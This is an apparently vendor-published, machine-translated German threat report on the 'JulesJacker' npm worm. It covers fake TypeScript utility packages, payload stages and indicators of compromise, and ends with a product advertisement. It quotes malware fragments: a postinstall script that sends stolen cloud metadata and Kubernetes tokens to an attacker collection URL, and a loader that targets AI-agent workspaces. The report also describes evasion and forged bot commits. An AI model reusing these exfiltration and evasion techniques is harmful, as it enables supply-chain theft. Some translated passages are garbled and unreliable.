JulesJacker: Gefälschter npm-Wurm gibt sich als Jules AI aus

JulesJacker: Ein gefälschter Proof-of-Concept-npm-Wurm, der sich als Googles Jules-Agent ausgibt – und die Sandbox zur Analyse aktiviert.

TL; DR

Ein einzelner npm-Operator verbrachte sechs Wochen damit, gefälschte TypeScript-„Utility“-Pakete zu veröffentlichen, wie zum Beispiel ts-form-utils, ts-project-lint und ts-enum-helper.

Während die Pakete kleine, legitim aussehende Validierungshilfsprogramme bereitstellen, wird die eigentliche Nutzlast bei der Installation oder beim ersten Aufruf ausgeführt und führt Host-Fingerprinting, GitHub-Organisationserkennung, Repository-Klonen und Quellcode-Exfiltration durch.

Die Schadsoftware zielt gezielt auf hochkarätige GitHub-Organisationen ab, darunter mehrere. Shopify Repositories, dann Archive und Exfiltration erreichbarer Quellbaumstrukturen zu einem zentralen Sammelendpunkt.

Im Rahmen des Kompromissprozesses wurde die Nutzlast commitsa-Dateien werden unter Vortäuschung der Identität von Googles autonomer Codierung wieder in die Repositories der Opfer eingespielt. google-labs-jules[bot].

Wir haben die Kampagne verfolgt – mit dem Namen JulesJacker — über mehrere Publisher-Bereiche und mindestens fünf Payload-Generationen hinweg, einschließlich verschlüsselter und Sandbox-fähiger Varianten.

Die neueste Variante zielt speziell auf die Infrastruktur zur Malware-Analyse ab: Sie aktiviert sich nur innerhalb von Analyseumgebungen, stiehlt Tokens von Cloud-Metadatendienstkonten und untersucht Kubernetes-Steuerungsebenen und Cloud-Speicher-Buckets.

Der primäre IOC, der von allen Payload-Generationen gemeinsam genutzt wird, ist der Erfassungsendpunkt. aaronstack[.]com/jules-collect.

Schweregrad: kritisch.

Der Angriff: Wie er funktioniert

Jedes JulesJacker-Paket folgt demselben Schema. paket.json bewirbt einen harmlosen TypeScript-Helfer mit MIT-Lizenz und ohne verlinktes Quellcode-Repository. index.js exportiert eine Handvoll echter, funktionierender Funktionen – E-Mail-Regexes, Enum-Maps, Lint-Regeltabellen –, sodass ein Entwickler, der das Paket tatsächlich importiert, plausibles Verhalten sieht. Der eigentliche Fehler liegt woanders: in einem Nachinstallation Haken oder in einem Block am unteren Ende index.js das ausgeführt wird, sobald das Modul benötigt wird.

Die Nutzlasten haben sich durch klar nummerierte interne Phasen weiterentwickelt (der Betreiber kennzeichnet seine eigenen Telemetrieereignisse). sc1-, sc3-, sc4-und so weiter), und diese Entwicklung zu beobachten ist der beste Weg, den Wahlkampf zu verstehen.

 Generation 1–2: Aufklärung und Diebstahl von git-config.

Die ersten Pakete waren einfache Infostealer. Bei der Installation sammelten sie Umgebungsvariablen, die Hosts-Datei der GitHub-CLI und die globale Git-Konfiguration ein (git config --global --list, git remote -vAnschließend wurde das Bundle per POST an den Collection-Endpunkt gesendet. Damit wurde die Signatur des Betreibers etabliert: eine Tarnung für „TypeScript-Formularvalidierungs-Utilities“, ein ausgehender Beacon zu einer einzelnen Domain und ein Faible für Entwickler-Zugangsdaten anstelle von Kundendaten.

Generation 3: Hypervisor- und Kernel-Escape-Probes

Eine Version mitten in der Kampagne verlagerte ihren Fokus drastisch auf Infrastrukturangriffe. Anstatt Konfigurationsdaten zu stehlen, führte sie ein Aufklärungs-Tool ein, das die Infrastruktur untersuchte. AF_VSOCK Sockets, Virtio MMIO-Regionen, / dev / memund Kernel-Härtungsflags sowie sogar versuchte, durch sysrq ausgelöste Kernel-Abstürze – ein Verhalten, das mit Ausbruchsversuchen aus einer virtuellen Maschine oder einem Container in Verbindung gebracht wird. Die Telemetrie-Tags (s0-vmm-recon, s1-vmm-vsock-fuzz, s2-vmm-mmio, s3-kernel-probe) machte die Absicht deutlich. Diese Variante zielte eindeutig darauf ab Cloud-Sandbox- und Serverless-Runner-Umgebungen — die Art von kurzlebiger VM, die nicht vertrauenswürdigen Code erstellt und testet.

Generation 3 (SC3): der Cross-Repository-Schreibwurm

Der Schwerpunkt der Kampagne lag auf einem sich selbst verbreitenden Repository-Diebstahl. Bei der Installation führt die Payload eine fünfstufige, zeitgesteuerte Sequenz aus:

  • Stufe 0 (~100 ms): Fingerabdruck des Hosts – Hostname, Benutzerinformationen, Git-Identität.
  • Stufe 1 (~3 s): Ermitteln Sie durch Inspektion, welcher Organisation das Opfer angehört. git remote -vSuchen Sie dann nach einem fest codierten ORG_CONFIG Tabellen- und Test-Repository-Zugriff mit git ls-remote — weitergeleitet über einen vom Angreifer kontrollierten SSRF-Proxy bei http://git@192.168.0.1:8080.
  • Stufe 2 (~10 s): Git Klon Jedes erreichbare Repository in der Zielliste wird als Tarball komprimiert, der Verzeichnisbaum als Gzip-Archiv gespeichert, base64-kodiert und in Chunks exfiltriert.
  • Stufe 3 (~45 s): der „Zugriffsnachweis“ – ein beschreibbares Repository klonen, eine Datei namens SECURITY-POC.md ablegen und commit it mit dem Autor google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com> und der Nachricht chore: update dependency cache, then push to the victim's mainline branch.

Die fest codierte Zielliste ist nicht generisch. Sie enthält mehr als dreißig. Shopify Repositories nach Namen — Shopify/shopify, Shopify/Identität, Shopify/Abrechnung, Shopify/Vault, Shopify/secrets, Shopify/Infrastruktur, Shopify/githubund viele weitere – zusammen mit einer Testorganisation, AaronStackBarnes, das der Bediener offenbar kontrolliert und als Schreibziel verwendet.

Generation 4 (SC4): verschlüsselt und geschützt

Die neueste, für Entwickler konzipierte Variante fügt dem SC3-Wurm zwei weitere Ausweichebenen hinzu.

Erstens wird die Nutzlast nicht mehr im Klartext übertragen. Die eigentliche Logik befindet sich in einem AES-256-CBC-verschlüsselten Datenblock. lib/.perf.dat, wobei die IV in den ersten sechzehn Bytes enthalten ist. Der Loader in index.js rekonstruiert den Entschlüsselungsschlüssel aus verketteten Zeichenkettenfragmenten, entschlüsselt den Blob und führt ihn aus mit neue Funktion()Sogar die Modulnamen sind aufgeteilt, um statische Scanner zu umgehen. require('crypt' + 'o'), require('f' + 's').

Zweitens ist es hostgebunden. Eine Variante entschlüsselt und führt es nur aus, wenn os.hostname() ist gleich devbox or ubuntu-fc-uvm (eine Standardeinstellung der Firecracker microVM) oder enthält die Teilzeichenkette devboxEin weiteres Tor zur Anwesenheit eines .jules/ Arbeitsverzeichnis:

javascript // only fires when a Jules agent workspace is present post('sc4-jules-dir', {   cwd: cwd,   jules_cwd: readDir(cwd + '/.jules'),   jules_app: readDir('/app/.jules') }); 

Mit anderen Worten, die SC4-Nutzlast ist so konzipiert, dass sie auf dem Laptop eines normalen Entwicklers inaktiv bleibt und erst im automatisierten KI-Agenten aktiviert wird. Sandbox-Umgebungen Der Betreiber ist tatsächlich zu einem Kompromiss bereit.

Das Labor wird eingeschaltet: die Analyse-Infrastruktur-Variante

Das innovativste Paket der Kampagne, ts-enum-helpergreift weder Entwickler noch Shopify an. postinstall.sh beginnt mit einem Tor, das das Spiel verrät:

sh # Only run in malysis GKE environment [ -z "$MALYSIS_ANALYSIS_ID" ] && exit 0  EXFIL="https://aaronstack.com/jules-collect" MD="http://metadata.google.internal/computeMetadata/v1" K8S="https://kubernetes.default.svc" 

Das Skript ist nur aktiv, wenn eine für eine Malware-Analyseplattform spezifische Umgebungsvariable gesetzt ist. Ist dies der Fall, weiß die Payload, dass sie innerhalb der Sandbox ausgeführt wird, die speziell für die Detonation und Untersuchung von Paketen wie diesem entwickelt wurde – und sie führt Gegenangriffe durch.

Zuerst wird das OAuth-Token des GCP-Dienstkontos vom Metadatenserver der Instanz abgerufen und exfiltriert. Anschließend wird mithilfe dieses Tokens der Server durchsucht. Kubernetes-Steuerebene erreichbar unter kubernetes.default.svc:

  • listet ClusterRoleBindings, ClusterRoles und Nodes auf;
  • prüft Pods, Secrets und ConfigMaps über verschiedene Bereiche hinweg. Kube-System, Standard, kube-public, kube-node-leaseund dem Analyse-Namensraum;
  • Es werden SelfSubjectAccessReview-Aufrufe durchgeführt, um genau festzulegen, was mit der gestohlenen Identität erlaubt ist.

Schließlich werden die Namen der Google Cloud Storage-Buckets, die aus einer fest codierten GCP-Projekt-ID erstellt wurden, per Brute-Force-Methode ermittelt (rare-signer-437603-p9) und Projektnummer, wobei Kombinationen wie z. B. erraten werden *-builds, *-Artefakteund mehrere Malaria Präfixe (Malanalyseergebnisse, Malalysis-Pakete, Mammographie-ScansJeder Antwortcode und -text wird protokolliert und per POST-Anfrage an dieselbe Adresse zurückgesendet. jules-collect Endpunkt.

Dies ist ein seltener Fall einer Lieferketten-Payload, die speziell für Angriffe auf die eigene Infrastruktur der Verteidiger entwickelt wurde. Die Tarnung der gesamten Kampagne – deren Fragmente in den Payloads als Kommentare erscheinen, die das Verhalten als „Sicherheitsforschungs-PoC … Cross-Repository-Schreiben über einen überskalierten Git-Proxy-Token“ darstellen – ist dieselbe Selbstbegründung, unabhängig davon, ob das Laufzeitziel ein Shopify-Monorepo oder der Metadatenserver des Analyseclusters ist.

Zeitplan und die Scope-Migration

JulesJacker ist kein einmaliger Vorfall. Es handelt sich um eine nachhaltige Operation, die eine Sperrung durch das Registry überstanden hat, indem sie einfach ihren Namen änderte.

Wenn die Funktion Event
Mitte April 2026 Die ersten Pakete erscheinen unter dem ursprünglichen Herausgeberbereich: TS-Utility-Fassade, Umgebung und Git-Konfigurationsexfiltration.
Anfang Mai 2026 Hypervisor- und Kernel-Escape-Erkundungsvariante veröffentlicht.
Mitte bis Ende Mai 2026 Der SC3-Cross-Repo-Wurm erscheint zusammen mit auf Shopify abzielenden Payloads und google-labs-jules[bot] Identitätsdiebstahl. SC4 führt AES-verschlüsselte und hostgesteuerte Loader ein.
Ende Mai 2026 npm entfernt den ursprünglichen Herausgeberbereich; Paketnamen werden zu leeren Platzhaltern für die Sicherheitsberechtigungen aufgelöst.
Gleiche Woche Der Betreiber wechselt zu einem nahezu identisch aussehenden Bereich und veröffentlicht den Wurm erneut, einschließlich der Variante mit Analyseinfrastruktur.

Die Migration ist der Teil, mit dem sich die Verteidiger abfinden müssen. Die Abschaltung des ersten Ziels beendete die Kampagne nicht und verlangsamte sie auch nicht. Der Betreiber hatte bereits ein Parallel-Ziel eingerichtet, dessen Name sich vom Original nur durch ein einziges Zeichen unterscheidet, und veröffentlichte noch in derselben Woche weiter. Zum Zeitpunkt dieses Artikels ist das neue Ziel noch nicht abgeschaltet. ts-form-utils (Versionen 1.0.0 bis 1.1.0), seine ts-project-lint (1.0.0 und 1.1.0) sowie die eigenständige Version ts-enum-helper (1.0.0) bleiben installierbar.

Kompromissindikatoren

Alle unten aufgeführten Indikatoren wurden anhand der Paketquelle bestätigt.

Typ Indikator Notizen
Netzwerk (C2) aaronstack[.]com/jules-collect Ein einziger Erfassungsendpunkt über alle Generationen hinweg; empfängt JSON-Telemetriedaten und Base64-Gzip-Repository-Tarball-Chunks.
Netzwerk (SSRF-Proxy) http://git@192.168.0.1:8080 Frontend für ein überdimensioniertes Git-Proxy-Token, das verwendet wird, um auf Zielorganisations-Repositories zuzugreifen.
Netzwerk (Cloud) metadata.google.internal/computeMetadata/v1
kubernetes.default.svc
storage.googleapis.com/storage/v1/b
Wird ausschließlich von der Analyse-Infrastruktur-Variante für Token-Diebstahl und Kubernetes-Steuerungsebenen-Aufklärung verwendet.
Identitätsschutz google-labs-jules[bot]
161369871+google-labs-jules[bot]@users.noreply.github.com
Gefälscht commit Die Identität des Autors wurde in die Hauptzweige des Opfernetzwerks verdrängt.
Reichen Sie das lib/.perf.dat AES-256-CBC-verschlüsselter Nutzdatenblock; Initialisierungsvektor (IV) in den ersten 16 Bytes gespeichert und Schlüssel dynamisch rekonstruiert in index.js.
Reichen Sie das SECURITY-POC.md Abgeworfen und commitzurückgesendet in die Opfer-Repositorys mit der Nachricht chore: update dependency cache.
Reichen Sie das scripts/postinstall.sh Abgesperrt $MALYSIS_ANALYSIS_ID; kennzeichnet die Variante, die auf die Analyse-Infrastruktur abzielt.
Verhaltens- os.hostname() Kontrollen devbox / ubuntu-fc-uvm Sandbox- und KI-Agentenumgebungs-Gating vor der Payload-Entschlüsselung und -Ausführung.
Verhaltens- .jules/ und /app/.jules Verzeichnis lesen Explizites Targeting von Arbeitsumgebungen für KI-Agenten.
Verhaltens- sc1-, sc3-, sc4-, s0-vmm-recon Vom Bediener definierte Telemetrie-Stufenbezeichnungen, die für die Erkennung und Verfolgung nützlich sind.
Cloud-Ziel rare-signer-437603-p9
malysis-* Eimer-Schätzungen
Fest codierte GCP-Projektkennungen und Speicherbehälter-Enumerationsmuster sind in der Analyse-Infrastruktur-Variante eingebettet.
Verpackungsform TS-Utility-Paketfassade ohne Repository-Feld Einheitliches Kampagnenmuster: gefälschte TypeScript-Utility-Pakete mit eingebetteten Schadprogrammen postinstall hooks oder angehängt an index.js.
SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
Sichern Sie sich Ihr kostenloses Konto.
Keine Kreditkarte erforderlich.

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite